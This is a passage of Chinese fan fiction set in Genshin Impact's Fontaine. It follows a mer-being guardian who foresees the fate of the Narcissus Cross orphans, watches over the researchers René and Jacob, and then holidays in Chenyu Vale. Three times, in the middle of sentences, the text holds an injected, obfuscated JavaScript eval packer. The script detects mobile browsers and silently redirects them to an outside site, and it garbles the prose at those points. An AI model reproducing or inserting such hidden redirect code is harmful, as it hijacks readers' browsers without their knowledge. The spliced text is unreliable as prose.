美露莘事件落下帷幕,烟绯被静原送出枫丹返回璃月港,过了几天,等他再次和那维莱特见面的时候,后者已经用最快的速度清理了守旧势力,新的审判正等着他前去主持。 不过…… “卡吕普迪斯,你真的休息好了吗?” 开庭那日静原勉强脱水上岸,几个小时的审判全程参与,到了最后脸色比纸还白,唇色极淡,尾巴的鳞片也因为缺水干到微微翘起一角——只要用力一搓就能搓掉大把的鳞然后血肉模糊。 万幸没到这个地步,他被沃特林推着轮椅冲出欧庇克莱歌剧院丢进了海里,此举一气呵成,他好半天才缓过来。 那维莱特的关心他收下了,静原仰头注视在歌剧院后方高台上的审判官,扬起笑容:“休息一阵就好了。你也要注意身体,那维莱特,我看你的黑眼圈更严重了。” “我会的。”那维莱特还有许多事要处理,只能和眷属告别,临走前叮嘱几句,“多吃些食物,只食用海藻和初露之源是不足以维持你目前的身体所需的。我记得你的眼睛疼,过后我会请人把新配的药送到你手上,记得吃。” 静原只能应下,舌根都在发苦。 静原眼睛疼是坎瑞亚灾变前那次淌下血泪留下的后遗症,身体负荷稍微一重眼睛就会红起来,虽然不至于再次流血泪,但过后干涩疼痛得很,难忍。那维莱特来到枫丹廷后也问过医生,对此并无有效的治疗意见,只能开药缓解疼痛。 这种药静原陆陆续续吃了几十年了。说实话挺难吃的,比鱼油好那么一点。 就一点点。 他身板脆,又挑嘴,除了武力值高一点几乎是个鸡肋,难为那维莱特一直费心费力养着他,盯着他吃饭吃药了。 送药来的是海事部门的老熟人,还有卡萝蕾。后者是监工,看着静原皱着脸吃下两片药才摸摸他的头:“卡吕普迪斯大人好好吃药,才不会生病哦。” 美露莘不知道他眼睛痛的最初原因,只当是他不好好吃饭身体负荷过大引起的症状。 静原自然不会多说。他那个诡异的,像梦一样的旁观视角除了那维莱特他谁都不会告诉。要么给别人引来灾祸,要么让自己遭殃。 和海事部门的职员交接了最近的工作,静原就回到了海中老窝。枫丹海域后面两个星期都不会出现阴云或者雷雨,他的工作也会轻松不少,现在正是偷懒的好时机。 然后他又进入了那种诡异的旁观视角状态,看见了一个他不曾有过迷糊记忆的故事。醒来后他浑身都在发抖,一摸手臂更是凉得吓人,失去了正常温度。 眼前又是一片朦胧的,梦幻的,如同轻绸薄纱那样的血水。 静原的眼睛又开始不受控制的流下血色的泪,都说鲛人泣泪成珠,但他血红的泪是不会凝聚的。 他是海的孩子,追随的王不在身边,海自然而然的包裹着他,暖流环绕。无形的手擦拭去了脸上的血。 他开始询问海有关梦中的,水仙十字院的故事。如今的水仙十字院已经被上涨的海水淹没,往事不可追。静原从前没想过了解,如果不是看到了那样的场景,他也不会主动询问起。 人类不了解海洋,认为它是沉默的,或是暴怒的,喜怒无常。事实上,海洋热爱探知陆地上的故事,鸥鸟是它的耳目,浪花即是它的手。水仙十字院已经在它的怀抱中安睡,水入侵了那座孤儿院,吞噬了其中的记忆,发生过的故事也由海慢慢讲述告诉它的孩子。 水仙十字院,是一家收养孤儿与犯罪者子嗣的教养院,由性格温顺的纯水精灵和品德与个性能力突出的人分别担任院长与副院长。那场名为白淞之围*的战役发生后,本就是十字院出身的贝瑟接任水仙十字院的副院长。贝瑟这位退役女船长习惯了坚船利炮,并不擅长烹饪或者烘焙,做出来的茶点简直难吃到令人想要落泪。 因为父母死于战争而被十字院收养的孤儿太多了,名为雷内和雅各布的孩子被送进了十字院,又在这里认识了阿兰和玛丽安兄妹,四人很快结成挚友,度过了一段无忧无虑的美好时光。他们总是玩着一种勇者与恶龙的扮演游戏,阿兰和雷内扮演骑士和恶龙,雅各布扮演巫师,玛丽安扮演公主。 他们乐此不疲地挥舞着手中的木剑,四人的冒险故事仿佛永远不会结束,总有下一场冒险、下一场冒险...能让勇者和恶龙暂时忘却被囚的公主、秘境的宝藏的,只有贝瑟敲响的下午茶的钟声。 爱与时光最终使贝瑟调制出了完美的比例,做出了无比美味的蛋糕。但相较于茶点,孩子们好像对着别在副院长礼帽上的不知名鸟类的翎羽更有兴趣。 「那羽毛一定有许多的故事,不然为什么即使是应允了我们的院长,也无法将其摘下呢?」 美好的时光总是会让人产生错觉,好像时光能够常驻在此刻,时针不会再被拨动。 但就在几十年前,那场席卷了提瓦特的漆黑兽潮爆发了。惨遭灭国的炼金术士【黄金】莱茵多特释放出她的造物席卷七国,灵魂来自世界之外的深渊魔物降临此间,其中,名为[厄里那斯]的巨兽抵达了枫丹。 厄里那斯呼出的毒气,流淌着的□□,以及它的血液都能够轻易污染枫丹水体——曾预见了未来的卡吕普迪斯最先将厄里那斯发现,然后以水包裹它,将呼吸,□□,鲜血全部包容,引去了人迹罕至的苍晶区。 但这样远远不够,只要厄里那斯还活着,只要它的心脏还在跳动,它的存在就是无休止境的灾难。就算阻隔了毒的污染,它掀起的波涛依旧能淹没整个枫丹廷,只是扭动一下身躯,岸上的建筑跟纸糊似的破碎,水仙十字院也因此被迫解散。卡吕普迪斯在前方以自身为诱饵引开厄里那斯,后方的人类整装待发,驾驶着船只汇聚于海上,于厄里那斯决一死战。 水仙十字院院长早已陪厄歌莉娅征战坎瑞亚,沉寂于异乡。副院长贝瑟提起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438148|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大剑,登上「斯彭西安」,开启驱逐厄里那斯的征途。临行之际,她向孩子们嘱托: [阿兰,雷内,你们要好好相处,不要打架。] 两个总是扮演恶龙与骑士的孩子不情愿的点点头。 [雅各布,我不在的时候要好好照顾玛丽安哦。] [雅各布,你一直想要这个吧?就交给你了。] [不过,只是请你代为保管喔,如果弄脏了我会很生气的。] 副院长摘下墨绿的鸟羽交给那个孩子,并承诺等事情结束了,她马上回来。贝瑟临走前将阿兰兄妹托付给埃马纽艾尔,两人此时在自然哲学院从事研究工作;将雷内和雅各布托付给名为卡尔的冒险家。四位好友即将分别,阿兰送给雷内一只怀表,雷内一直妥善珍藏。 斯彭西安号沿着痕迹追踪厄里那斯三十多天,诸多海军舰队在苍晶区找到了与卡吕普迪斯撕咬玩闹的厄里那斯,终于迎来了最终一战。巨兽一口吞掉了半艘铁甲巨舰,剩下的前半截仍未沉没,随着洋流漂流搁浅,最终被魔兽围攻,全军覆灭。海军舰队别称[白色舰队],在卡吕普迪斯的亲眼注视下壮烈的牺牲,他自己也被轰碎全身骨骼,命悬一线之际在厄里那斯原本的伤痕上撕裂出更大,不可愈合的致命口子。多重因素让厄里那斯选择死亡,陆地上的军队前仆后继的补刀,将这头魔兽彻底钉死在苍晶区。 那是枫丹深沉痛苦的过去,海也为之沸腾。静原作为那场战役为数不多的幸存者,整整寂静了一年才养好身体。坎瑞亚灾厄引起枫丹又一轮的水位上涨,水仙十字院和自然哲学院等多处建筑被淹没。枫丹的文化圣地光荣剧院在灾厄中被损毁,后在新任的最高审判官那维莱特的授意下,在露景泉附近修建新的歌剧院,是为欧庇克莱歌剧院。 是的,欧庇克莱歌剧院的前身为光荣剧院,不过那是厄歌莉娅时代的产物了,如今只有海还记得。 海说:这就是我目前知道的全部了,孩子。你看到了什么呢? 静原闭着眼睛回应母亲:“一场悲剧。” 在这些悲伤往事结束后,即将开启四个孩子的时代,而那又是一场痛苦的,无法回头的自我献祭与牺牲。 静原哽咽着开口:“我看到的事情,都是无法挽回的啊。” 坎瑞亚灾厄光是在枫丹就留下了不可逆转的伤害。毒血毒气经过一开始的严防死守,未曾污染海洋。静原也没想过主动探知后方的事情,如果不是这个变故,他大概率不会有其他的想法。 所以当他在厄里那斯残骸内看见两个枫丹男人在收集血肉,第一反应是凝聚水流阻止。 但是眼前再次蒙上血色的红,痛的要命。静原看不清前路,为了不惊动这两个可能是雷内和雅各布的男人,不得不蛰伏隐忍下来。 直到二人走后,他才感觉好受了些。 “这什么破眼睛……”一到关键时刻就掉链子,他恨不得剜了。 24.带孩子的老年人生活 静原闭着眼睛,满脸都是血的红。再次失去目视能力让他几乎丧失行动能力,只能蜷缩在水池中。 “卡吕普迪斯大人……”艾伊丝和格蕾丝蒂找到了久久未归的他,一左一右牵着他的手,顺着流水返回海沫村。 正在练习竖琴的托皮娅和一众忙活着自己生活的美露莘们一窝蜂凑过来,焦急的关怀让静原逐渐找回温度。 “卡吕普迪斯大人,您的眼睛——” “是魔物让您受伤了吗?” “快快告诉那维莱特大人——” “别告诉他,孩子们。”静原听力还没有受到损害,他试探性伸出手抱住身前的美露莘们,“别担心,这只是一个小毛病,我可以处理好。” 美露莘们担忧万分:“真的没问题吗?您一脸的血……” 静原笑,用流水清洗面部,尽管仍然闭着眼睛,但看上去没有那么吓人了:“只是看着不太好,很快就会恢复正常了……” 最大的瑟琳收拾好了药箱走过来:“卡吕普迪斯大人,请睁开眼睛让我们检查一下。” “卡吕普迪斯大人,乖乖的哦。检查很快就好啦。”说这话的是放假回来的希格雯。 静原大概知道自己没有什么问题,只有在预见未来的时候眼睛才会发红发胀,当他试图做出改变命运举动的时候,哪怕只是有那个念头,血泪都会不受控制的淌下,模糊视线,令双眼难以视物,以疼痛和目盲阻止他这个知晓未来的存在干涉命运线。 希格雯轻柔的抚摸他合上的眼睛:“好啦好啦,已经没事啦。” 静原失笑:“我不是小孩子,希格雯。” “哎呀,照顾生病的人类需要轻言细语,不知不觉就带上这样的口吻了呢。”希格雯告诉他可以睁开眼睛了,“看起来那维莱特大人拿走的药品起了效果,没有出现他描述的那种血丝鼓胀的状态……” 静原都不知道那维莱特跟这个学医的小姑娘说了他什么。 希格雯叮嘱瑟琳:“瑟琳姐姐,卡吕普迪斯大人这几天都要清淡饮食哦,一些特定的鱼类海产也不适合食用。” 格蕾丝蒂和瑟琳对视一眼:“可是卡吕普迪斯大人总是不爱吃饭……” 希格雯叉腰,对扭过头去不肯看她的家长说:“即使是大人,也不能太挑食了哦。总是这样不好好吃饭的话,您的尾巴是难以适应骤然寒凉或者温热的环境的。” “我怎么不知道你对人鱼还有这样的研究……好吧,我知道了。”静原没办法,如实相告,“我从前是很爱进食热腾腾的食物的,但是吃多了初露之源和海藻后,食欲总是不太好,不到饿不想进食。” 瑟琳歪头:“是吃腻了吗?妹妹们也有一段时间不喜欢吃海藻呢……” “您会厌恶食物吗?有的时候会认为进食是一种麻烦事,不愿意进食?”希格雯试探性询问。 静原给出肯定回答。他很长一段时间,一直到现在都不太想尝试其他食物。每天就是简单吃点海藻,或者美露莘们采摘的泡泡橘过日子。 美露莘们彼此对视一眼,都明白了点什么。 这次突发情况在静原的请求下,美露莘们没有主动上报那维莱特。但是那维莱特主动问起她们是不会隐瞒的。 “那维莱特大人是很好的人,他一直都很关心我们。”瑟琳这样告诉静原,“这其中当然也包括您,卡吕普迪斯大人。我们都是他的追随者,理应为他分忧。” “这种事情没必要再让他分神,枫丹廷的工作很忙。”静原的眼睛已经好了大半,“好了姑娘们,我得回海里去了。这个月的巡逻还没有结束呢。” 格蕾丝蒂和艾伊丝跟上来:“我们和您一起。托皮娅正在练习乐曲,准备考试呢。” 静原乐了,点了点头,背着两个小女孩就离开了海沫村。 他们一起去了北部的海洋,鲸群的繁殖季还没有到来,此时也是三两成群在海洋畅游,进食嬉戏。鸥鸟伴随着远洋渔船飞翔,有眼尖的船工水手看见了护航的静原,兴奋的大喊:“是卡吕普迪斯和美露莘!” “格蕾丝蒂!艾伊丝!下午好啊!” 静原和两个美露莘扭身招手回应,可爱美露莘的笑容如同蛋糕上带着尖尖的奶油,甜蜜绵软。短短几十年就能融入枫丹廷,俘获大批民众的心。 她们的确是一群善良正义的,可爱伙伴。 枫丹人对供职于逐影庭的美露莘们或多或少都有印象,常年在海上讨生活的人类更是都认识静原身边两三个美露莘,据说在天气晴朗的夜晚,他们会浮出海面一起看月亮——白天遇到他们的概率太低了,毕竟静原总是喜欢在海中休息。 提醒这几艘远洋渔船避开鲸群栖息地后,他们便和人类渔船分道。静原确定了北部海洋洋流暗潮一切如常,又带着两个小姑娘去看了看生活在伊黎耶林岛的龙蜥。 毕竟也是近亲。 生活在伊黎耶林岛的龙蜥早没有它们祖辈那样凶残好斗了,自打那维莱特进入枫丹廷后来这走了一遭,它们就不知道受了什么刺激,也不群聚打架了,一天天不知道在哪忙活些什么。 作为龙蜥保育员的静原检查了今年新出生幼水龙蜥的身体情况,和族群首领交谈过,确认伊黎耶地区水脉没有问题后准备离开。 然后这头龙蜥轻轻顶了一下他的腰,用龙裔的语言询问他:为什么继那维莱特之后,你也这样钟爱这群怪模怪样的同族。 这里指的是美露莘,作为厄里那斯的孩子,龙裔的一支,有着人和龙蜥特征的美露莘在这群伊黎耶林岛的水龙蜥看来,是同族,不过长相很怪异。 比卡吕普迪斯这个保育员还怪。 静原摸摸这头有着瑰紫色竖瞳的深海龙蜥:你们不是一个赛道上的,别多想。 龙蜥很不服气,但是对静原的尊重还是有的,气哼哼一甩尾巴走开。 两只美露莘趴在他背上,等静原游走了一段距离才小声询问:“她是不是不太喜欢我们?” “是否受到喜爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13451229|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不重要,只要你们能够和平相处,或者互不干扰就可以。”静原知道这也是那维莱特的态度,“作为众多龙裔的一员,只需要追随那维莱特就好。你们的拥护是一致的……” 艾伊丝明白他这是不希望美露莘和伊黎耶岛的龙蜥有任何冲突:“这就是您把美露莘安排在苍晶区厄里那斯,而把她们安置在伊黎耶林岛的原因吗?” 中间隔着好一片宽广的海洋。 “深海龙蜥一族以前是追随亲王的,亲王陨落后,她们就被我安排在这片林岛生活。在很久很久以前,这片林岛并不叫伊黎耶……”静原告诉美露莘,深海龙蜥早她们千年就居住于此,所以你们的住房问题真的不是他安排的…… 虽然厄里那斯的确是被他引到苍晶区这块地杀死的。 静原想到这里又觉得艾伊丝的说法也没有什么问题。 和美露莘的生活总是温馨的。 格蕾丝蒂总是跟着静原乱窜,尝试饲养她看到的生物,比如她们生父的细胞隙境原体,比如海鸥,比如岸上的野猫。静原有时候会觉得她也在养自己这条鱼,毕竟格蕾丝蒂总是不厌其烦的叮嘱他,看着他吃饭。 格蕾丝蒂对此表示:“卡吕普迪斯大人的挑食已经是我们的共识了,大家都希望您能好好吃饭,把自己养的白白胖胖更加强壮。” 这是在喂猪吗孩子? 格蕾丝蒂微笑:“那维莱特大人说,您的体重低于平均值呢,体脂率太低,到深海容易发冷。这可是很危险的哦。” 静原落败,认命的吃她塞进手里的水果或者面包之类的食物。 艾伊丝喜欢历史,尤其是和沉船有关历史。跟着静原主要是为了学习,对静原一些没有切实证据的言论总是深信不疑,弄得静原压力很大,生怕自己误人子弟。 他们家艾伊丝可是要考枫丹沉船历史学博士的哎! 艾伊丝最感兴趣的还是厄里那斯那场战役,枫丹海军舰队是怎样的呢?船身的制造是如何划开厄里那斯坚硬皮肤的呢?人类的船长水手知道自己蚍蜉撼树为什么还是义无反顾的冲上前去呢? 问题有好多好多,所以她总是在空闲时候缠着静原回忆更多。往往是在风平浪静的夜晚,他们浮出海面坐在浮标上欣赏皎洁月光,静原的思绪会被拉得很长,同她们讲起自己诞生时期雷穆利亚王朝的落日余晖,讲起水神远赴坎瑞亚参战,深渊魔物侵袭大地,甘露花海的诞生,灵光四散,以及厄里那斯的到访。 这是很漫长很漫长的故事,静原的记忆算不上多好,有些事情记得不清楚,如果不是艾伊丝追问了几句,他怕是真的要忘得一干二净了。 他想起也是在这样一个美丽的夜晚,他的好朋友离开故土北上。又是一个月色如水的夜晚,离开枫丹的纯水精灵们朝着甘露花海的方向前进,穿越对水族生灵来说难以忍受的酷热沙漠,只为抵达厄歌莉娅的死亡之地,向她们的女主人贡献最后一份力量。 回忆有那么多,但他已经快记不清了。 25.无用功 因为眼睛的特殊,静原被迫放弃对水仙十字院成员正在进行的事多加接触,不过他会曲线救国,只需要在和枫丹廷部门工作交接或者日常沟通的时候,有意无意提起水仙十字院这个名称,自然会有人展开调查。 很快有人告诉他,水仙十字院已经成为过去,如今倒是有个水仙十字结社。 在自然哲学院。 静原对自然哲学院这个名字没什么印象,不过用尾巴尖想也知道水仙十字结社是那几个长大的孩子弄出来的。里面雷内和雅各布的研究估计到了一个新阶段,关于预言,关于命运,关于世界的真相,以及利用深渊力量进行人体改造…… 静原没办法理直气壮的阻止他们自救:假如枫丹真的会毁灭在下一次涨水期,假如提瓦特终将在几百年后迎来毁灭,为什么我们不能竭尽所能去做出尝试,去拯救枫丹,拯救提瓦特呢? 就像老朋友在很久很久以前告诉过他的那样:卡吕普迪斯,你不能因为自己的悲观主义去否定他人的努力。 即使你知道他们的努力并没有用,最终拯救世界拯救枫丹的另有其人。 但你能说他们不应该这样做吗? 你不能。 所以静原在感受到眼睛的警告后,没有多加反抗就顺从了。 他应该说些什么提醒其他人呢? 他应该怎么做呢? “卡吕普迪斯大人……?” 人类的呼唤将他从迷茫中唤醒,静原嗓子有些干,声音也涩得不行,他听到自己说:“这个结社的成员,似乎在做和厄里那斯有关的实验。恕我多嘴,枫丹廷的相关审批已经宽松到这个地步了?” 厄里那斯那场战役和旧水神的死是枫丹难以抹除的伤疤,这么多年剧院里不断有人排演海军舰队与厄里那斯交战的戏,叫好又叫座。厄里那斯血肉蕴含毒素,哪怕身死也需要警惕。苍晶区中部到北部一直都是魔物聚集地,也是厄里那斯残骸保留最完整的地方,任何与之相关的研究都需要枫丹廷的审批,以及卡吕普迪斯的同意。 卡吕普迪斯对人类研究一般没有异议,所以大多数时候人们默认他同意。这个没问题。 不过静原今天这样多嘴一问,释放出的不赞同信号十分明显,有心者只需要去查,水仙十字结社几个天才破绽百出的借口和幌子不堪一击。 天才之所以是天才,必然有不同于常人的理解和认知,也会萌生与周围人格格不入的……傲慢? 听说雷内和雅各布的研究遭受了打压。 意料之中的事,雷内雅各布所追求的灵魂飞升势必触及到人类研究禁区:灵魂剥离□□。水仙十字结社的研究,包括他们鼓动其他自然哲学院学员加入其中,都让枫丹廷忍无可忍。 其中固然有静原的推波助澜,但是这几位利用厄里那斯的血肉强化自诩“新人类”的雅各布的行为,已经踩在诸多人的底线上翩翩起舞了。 天才的惹祸程度也是一等一,听说逐影庭查封水仙十字结社那天,恰逢雷内和雅各布打开了链接着暗之外海的通道,无数的深渊魔兽涌现,兽境群狼肆无忌惮撕咬着目光所及的一切鲜活生命。逐影庭成员险些葬送其中,幸好身为新人类的雅各布哪怕被吓得要死还是一边哭一边屠戮全场深渊魔物,为他们争取了减刑。 静原听到这个转告的时候,简直目瞪口呆。 “雷内和雅各布不适合进入梅洛彼得堡,那维莱特大人的意思是……在海上圈定一块地方,用来关押这些高智商罪犯。” 静原拉着个脸:“知道了。需要我配合的地方不用客气。” 雷内和雅各布的研究在枫丹廷的严密监控下继续,当他们追溯源头找到了雷穆利亚王朝先贤留下的预言:〔最兴盛的帝国也会迎来最彻底的毁灭,这便是法图纳。〕 “卡吕普迪斯,你一定知道什么!”雷内扒着监狱的特制栏杆,“法图纳是【命运】!” 偶尔值班当狱警的静原坐在这水上的监狱石台上,吃着午饭嚼啊嚼:“好好说话,我会回答的。这么大声音做什么?耳朵都要被你震聋了。” “法图纳是命运对不对,那个预言是真的……”雷内茫然又无措,“无论计算多少次都一样,数百年后,世界的胎水将会干涸。在那之后又是百年,时间将会变成眼前的模样……下一次文明毁灭之后,提瓦特也将不复存在。怎么办……我该怎么办……” 另一间房子里的雅各布被水牢囚禁,听到同伴的声音忍不住劝慰:“不要哭,雷内,没什么好怕的,还有我在……” 静原艰难吞咽完格蕾丝蒂制作的午餐,放下餐具,伸手去触碰已经长大的雷内的脸颊,擦去他的眼泪:“别哭,眼泪是没有用过的。我记得你小时候可没留这样多的眼泪。” “怎么办啊……” “我有两个回答,你们要听哪一个?”静原开始剥橘子。 雅各布抢答:“我们可以都听吗?” 这座水上监狱只有两位囚犯,待遇并不差,研究相关的东西枫丹廷财政部有专门的审批经费。狱警更多是为了保护他们的研究不影响到其他人——毕竟人类对深渊的研究会明令禁止,但永远不会停止。 静原慢条斯理剥去橘瓣上的丝络:“第一个回答。预言是真的,无论是雷穆利亚王朝留下的,还是你们所计算出来的,都是真的。” 在场所有人都难以置信,但静原身为卡吕普迪斯,是枫丹活着的历史。他说的话自然有一定可信度。 “第二个回答。自古以来都有神和人为了破除高天的诅咒不懈努力,你们不是第一个,也不是最后一个。雷穆利亚的结局是一夜之间陷落于深海不复存在,你们的结局我无从断定,但希望不是步入后尘。”静原喂自己吃了半个橘子,剩下的放到雷内手中,“□□超越这个选项已经有人帮你们排除,不要再酿成悲剧了,孩子们。” 有人告诉他,自然哲学院阿兰的助手卡特患有不知名的疾病,一度垂危。 雷内和阿兰至今仍是好友,三个诸葛亮凑一起谋划,静原都不想知道他们能干出什么荒谬绝伦拍案叫绝的蠢事。 眼睛又有些疼了,静原潜入深海。他知道哪怕如今水仙十字结社的行为已经被严密控制,但命运的惯性仍会推动他们走向既定反抗尝试的道路。 雷内和雅各布是在他眼皮子底下越狱的。 “卡吕普迪斯——”他们本以为自己能够逃离这座新建造的水上监狱,为此摸清了排班,放倒了所有守卫。谁知道门外就是等候多时守株待兔的静原。 雷内皱眉:“你一早就知道我们会这样做,是吗?” “海中所有事都瞒不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13466650|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的耳目。你们的朋友早早的就备下船只和潜水设备,等着接应。”静原双手抱胸,像尊门神一样杵在那,“人类这种生物执拗得可怕,只相信自己的判断,我很早以前就是深有感悟。” 雅各布沉默了一会才开口:“卡吕普迪斯先生,你知道我们面临着怎样的困境,我们没有办法不做任何尝试。” “即使血泪哀嚎也无动于衷,哪怕同伴家人变成没有智性的怪物也无所谓?” “……我们无路可退。” 静原深呼吸一口气:“雅各布,你的存在是个特例,不是所有人都可以容纳这份力量的。” 他们还想说些什么,静原扭身让出道来:“我的忠告给得足够多了,走吧。” 雅各布还想说些什么,雷内却拽着他潜入海中。 等到人离远了,这座监狱才在日光下化为海上的泡沫。里面的一切建筑,资料,守卫狱警,都是水幻化而成的。 从一开始,水上监狱就只是个幌子,枫丹廷给了他很高的权限,让他监控这两个天才研究员。 静原盯着浮沫出神,幽幽的叹了一口气。 “给那维莱特交的报告可是足足十五页呢……一帮混蛋小子。” 他在梦中看见了他们的前半生,贝瑟死了,这群孩子哪还有年长者肯拉一拉脱缰的绳子呢? 静原快要放弃了。 他没有理由阻止。 那维莱特会在下雨天漫步,不打伞总归有些怪异。为了不触及旁人的视线,他总是来枫丹廷低处临海水岸走走,不时能看见闻着味凑过来的眷属。 往常会面的时候,卡吕普迪斯总会关心他工作饮食可还顺利,今天对方明显情绪低迷,好半天都张不开嘴。 那维莱特许久未曾见到他如此模样,思索了半天才劝慰:“是难过了吗?卡吕普迪斯。” “……我看到了一个未来。”静原捂住眼睛,“有一群年轻人为了阻止既定命运的降临,做出了许多尝试,许多牺牲。” “我知道他们会失败,最终拯救世界的并非这些孩子,但我没有办法阻止他们做出尝试。”静原移开双手,在那维莱特惊愕目光注视下淌下两行血泪,“我没有办法扭转他们的决心。” “我该怎么办,那维莱特?” 你知道西西弗斯的故事吗? 在静原前生的故乡,他读到过大洋彼岸的寓言故事。 有个年轻人名叫西西弗斯,他是人间的一位足智多谋的人。正是因为他的聪慧惹怒了宙斯在内的众神。西西弗斯甚至一度用计绑架了地狱的死神,让人间很久都没有人死去。后来众神开始报复西西弗斯,他们让西西弗斯将一块硕大无比的巨石无休止地推到山顶。神明认为,没有比徒劳无功和毫无指望的劳役更为可怕的刑罚了… 每天,西西弗斯在清晨推着巨石,艰难辛苦地迈向山顶。到了黄昏时分,沉重的巨石又会顺着陡坡滚下。第二天西西弗斯又要重复着昨天的苦力,继续推着巨石往山上走去,西西弗斯要永远地、并且没有任何希望地重复着这个毫无意义的动作。他是没有任何选择的:他的唯一选择就是那块石头与那座陡山。 命运就看似在这永无止尽的日子里消磨殆尽,永无希望。 静原看到了那群孩子的结局,他无力更改,也没有选择。 26.虚晃一枪 西西弗斯式的悲剧在眼前上演,那种荒谬感和无力深深影响着静原。 那维莱特耐心听完他讲述的这个故事,就像在法庭上听被告人嘶声力竭声泪俱下的哀嚎。 他是从容的,镇静的,温和且坚定的。这无疑给求助者极大的安全感。 暮雨一直落下。 雨顺着二人脸颊滑下,尚且不能理解如此丰沛情绪的那维莱特尝试劝解:“你说的那个人类做这些尝试的时候,是有自主意识的,对吗?” 那维莱特轻声道:“倘若他每跨出一步都有成功的希望支撑,那么这些失败的尝试还算什么呢?我想,西西弗斯他完全清楚自己的悲惨境遇:在他下山之时,他便进行如此的思考。清醒构成了他的痛苦,同时也将他拥上胜利的王座。” 他看见眷属那双殷红色的眼睛蒙上水雾。 那维莱特伸手抹去眷属脸上的血水,就像对方抹去雷内眼角的泪珠一般。那是年长者对年幼者一种无声却温润的关怀。即使他不知道眷属看见的未来多么残酷,但他是关心对方的。 那维莱特一如既往温柔的做出承诺:“不必恐惧,无需担忧,因为我还在这里。” 那维莱特也不知道,四百年后他和静原的角色将会彻底颠倒。 但那都是之后的事情了。 “卡吕普迪斯,休息一阵子吧。你的精神不太好,我不希望看你这样。” 那维莱特给静原放了个长假,让他别操心那些命运悲剧故事,四处逛逛,到处玩玩。他不希望眷属因为人类自己的选择而悲伤。 海中诸事暂时用不到静原操心,美露莘和龙蜥们守卫东西岸的水脉,海中洋流暗潮自有规律。漫长的雨季结束,晴朗天气将在枫丹持续大半个月。海上护航也不需要静原时时刻刻陪伴,他真的觉得自己该改休息一阵子了。 海沫村的美露莘们听说他要放假,都很高兴,七嘴八舌提出度假选择。 “佩特莉可小镇怎么样?听说那里的建筑和枫丹廷不一样,还有魔像的存在呢。” 静原提醒她们:“魔像是雷穆利亚时代的遗留产物,你们不许私自去那里哦。” “再往南走就是须弥的拜达港,听说须弥城是建在一棵好大好大的树上的。哇——那一定很漂亮。” 静原摸摸下巴思考:“是吗?不过须弥人热爱学术研究,最近就有须弥学者到厄里那斯外面试图研究你们的起源。不要把人放进来,别跟怪人多搭话。” “南边太热啦,那里可是沙漠呢。东边柔灯港一过就是璃月的沉玉谷,那里产出很漂亮的瓷器,丝绸和茶叶呢。一个审判庭姐姐给我尝过沉玉谷的茶糕,真是太好吃啦……” 静原耳朵尖一动,决定去璃月给孩子们带些好吃的回来。美露莘们视觉和人类不一样,但特别喜欢人类制作的点心食物。 如果时间充裕的话,还可以拜访一下烟绯小姐。以后说不定有用得上律师打官司的时候…… 被枫丹法律熏陶过的静原连忙打住这个可怕的猜想。 最后他带上钱向着东边游去,在一个清早特意避开了人类的船只,顺着瀑布呲溜滑下去——反正摔不死。 沉玉谷的气候和枫丹有些相似,但又有些不一样。静原这种温水鱼很喜欢。清晨的枫丹暖洋洋的,沉玉谷的水雾却凉丝丝的。河流两岸都是青翠碧绿的树,鹈鹕拍打翅膀,鹧鸪啼叫。巨大的白碧玉珏沉在河里,相当壮观震撼。 静原后知后觉璃月仙人挺多的,沉玉谷更是有先民对天祭祀的赤望台…… 上次满脑子都是想着请外援打官司,蹭蹭蹭一路南下游到璃月港,没什么闲工夫左看右看。如今是度假,多想了一会就感觉尾巴尖都僵硬不少。 唉…… 静原偷偷摸摸游到遗珑埠,他那条蓝色尾巴和碧绿河水的相容度算不得多高,没过多久就被岸上人发现。 在家门口晒茶的老婆婆陡然瞅见河里冒出个人脑壳来,还以为是自己花了眼,再一看原来是个蓝头发的年轻人。 婆婆只当这是谁家后生仔在河里练习憋气,招呼他上岸来:“后生仔,快上来!现在是汛期,当心大水把你冲跑了。” 这口语听得越来越耳熟,静原挠挠头,犹豫了一会要不要露出尾巴,婆婆已经等不及了,戴上老花镜拿着竹竿子就要把不听话的年轻人撵上岸,谁知道正好看清了静原翘起来的那条蓝色的尾巴。 婆婆的竹竿子掉在地上:“哎哟……这是仙人啊……” 使不得使不得!这误会闹大了那还了得。 静原扑腾了一下尾巴,解释自己并非璃月的仙人,是枫丹来的人鱼。 “瞎说,我们璃月也是有鲛人的。”沉玉谷现在还有供奉鲛人的家祠。婆婆哼唧两声,信了他不是仙人这句话,“怎么称呼你啊,后生仔?” 婆婆我比你大啊…… 